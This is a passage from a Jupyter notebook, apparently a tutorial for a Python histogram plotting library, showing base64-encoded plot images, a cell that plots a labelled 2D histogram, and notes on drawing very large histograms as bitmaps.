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\n", "text/plain": [ "<Figure size 432x288 with 2 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "# Show labels (and hide zero bins), no grid(lw=0)\n", "ax = histogram.plot(show_values=True, show_zero=False, cmap=cm.RdBu, format_value=float, lw=0)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Large histograms as images\n", "\n", "Plotting histograms in this way gets problematic with more than roughly 50x50 bins. There is an alternative, though, partially inspired by the `datashader` project - plot the histogram as bitmap, which works very fast even for very large histograms.\n", "\n", "**Note**: This method does not work for histograms with irregular bins." ] }, { "cell_type": "code", "execution_count": 15, "metadata": {}, "outputs": [], "source": [ "x = np.random.normal(100, 1, 1000000)\n", "y = np.random.normal(10, 10, 1000000)" ] }, { "cell_type": "code", "execution_count": 16, "metadata": {}, "outputs": [ { "data": { "image/png": "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